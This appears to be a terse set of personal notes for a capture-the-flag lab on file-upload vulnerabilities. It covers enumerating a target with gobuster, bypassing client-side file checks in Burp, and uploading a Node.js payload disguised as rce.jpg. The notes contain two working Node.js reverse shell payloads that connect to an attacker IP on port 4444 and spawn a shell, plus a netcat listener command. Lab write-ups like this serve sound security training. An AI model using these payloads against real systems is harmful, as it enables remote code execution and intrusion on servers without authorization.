UploadVuln-ch11

echo "10.10.XXX.XXX overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm" | sudo tee -a /etc/hosts

gobuster dir -u http://jewel.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Delete ^js$ in Burp options
Burp intercept, ctrl+F5 catch upload.js get rid of file checks

(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4444, "10.10.xxx.xxx", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })();


var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(4444, "10.9.158.221", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

save it as rce.jpg

nc -nlvp 4444

upload the payload on http://jewel.uploadvulns.thm

download UploadVulnsWordlist.txt from task
gobuster dir -u http://jewel.uploadvulns.thm/content -w UploadVulnsWordlist.txt -x jpg

uploaded payload name (XXX.jpg) is the 5th that's not ABH/LKG/SAD & YWJ

../content/XXX.jpg on http://jewel.uploadvulns.thm/admin

nothing happend in 443 monitor